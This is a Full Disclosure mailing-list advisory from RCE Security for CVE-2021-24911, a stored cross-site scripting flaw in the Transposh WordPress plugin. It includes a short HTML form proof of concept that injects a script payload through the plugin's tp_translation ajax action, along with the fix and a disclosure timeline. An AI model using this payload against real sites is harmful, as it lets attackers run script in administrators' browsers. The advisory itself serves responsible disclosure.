[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] =?windows-1252?q?=5BCVE-2021-24911=5D_Transposh_=3C=3D_1=2E0?= =?windows-1252?q?=2E7_=93tp=5Ftr
From:       "Julien Ahrens (RCE Security)" <info () rcesecurity ! com>
Date:       2022-07-22 14:46:52
Message-ID: DED481CD-087F-46BF-A57A-6EE466D11922 () rcesecurity ! com
[Download RAW message or body]

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Cross-Site Scripting [CWE-79]
Date found:     2021-08-19
Date published: 2022-07-22
CVSSv3 Score:   6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE:            CVE-2021-24911


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.7 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin's ajax action "tp_translation" which is available to authenticated or
unauthenticated users (see CVE-2022-2461) allows to submit new translations.

Translations submitted this way are shown on the Transposh administrative
interface on the pages "tp_main" and "tp_editor". However, since the plugin does
not properly validate and sanitize the submitted translation, arbitrary Javascript
code can be permanently injected and executed directly within the backend across
all users visiting the page with the roles of at least "Subscriber" and up to
"Administrator".

This offers a wide range of possible attacks, such as redirecting the user to a
malicious page, spoofing content on the page, or attacking the browser and its
plugins.


6. PROOF OF CONCEPT
===================
The following PoC adds a new translation:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


7. SOLUTION
===========
Update the plugin to version 1.0.8.1


8. REPORT TIMELINE
==================
2021-08-19: Discovery of the vulnerability
2021-08-20: Contacted the vendor via their contact form
2021-08-20: Vendor response
2021-08-20: Sent all the PoC exploits
2021-08-20: Vendor acknowledges the issues
2021-09-14: Requested status update from vendor
2021-10-07: No response from vendor, requested status update again
2021-10-25: CVE requested from WPScan (CNA)
2021-10-27: WPScan assigns CVE-2021-24911
2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability
2022-07-22: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://transposh.org/version-1-0-8-thanks-julien/
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/

["signature.asc" (signature.asc)]

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEWVym3nC1+ioyX1+TzjvwrNEH1JsFAmLauFwACgkQzjvwrNEH
1Js80g/9GiBBvZ6XwGNL/Zw+2h00lY6+i1wai57VBIL7qwohS9NAg0DGtEyD1xcJ
R+YgLsjW+deZx5QWWnK1ypMIHJFIksPiZ//q1hyMjZyVp4TVaHkjE1Dq5rzwzlqW
kDtxSowt/L1VZuVRUvGq+CBOUlpVgQu3waT+6wHVDpDUFWc5Qp4Tvc8AfH0BT3qL
uMWDd5C/rz1uMqi2Gxtlfhb3dK3flrb0f8+1/onYFTxJ1Hw1r3jaTeV/PneBSe/E
g46bd6w+q60SYqvs0buCJ3NFaIAk2kcWNWc5D/O9tDj4i+BETA6p7q6t5LibvvEM
nKDxsUiI9ZEX0o8VDXxycCID6PcCnZt1MT0HIOwk2cO8NNDqmdy62Mo0m3empeU6
nCytM0b571BMuJiY0wlONrmWUymrGmdeDpcDtEYzIwdryvhI5WPmw9jgSu6ieah+
F1i5JY+81XkCaTKng7ygM5HUpBlJD0KHkLCmehx9qjwGj5vydjBlwdEScd5FkLuO
F2mkhpQeWGUSqsfJEDVU3ZZf81XJH1NBwfeMf/nSNnr5iCtq0QGhkhlnM9iEfe2g
54IQQJ4F8DqA1DjrUcT+OZHrSelnimy1TMEwrHXMVIu2FaWF5l7tHAgG9/3++bbT
jBThoJNjmueSH4dbc7SaG3fWghqAFVtbM21//Ch5Z1BH7grnx8Q=
=a0og
-----END PGP SIGNATURE-----


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
--===============3986988156310559929==--

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic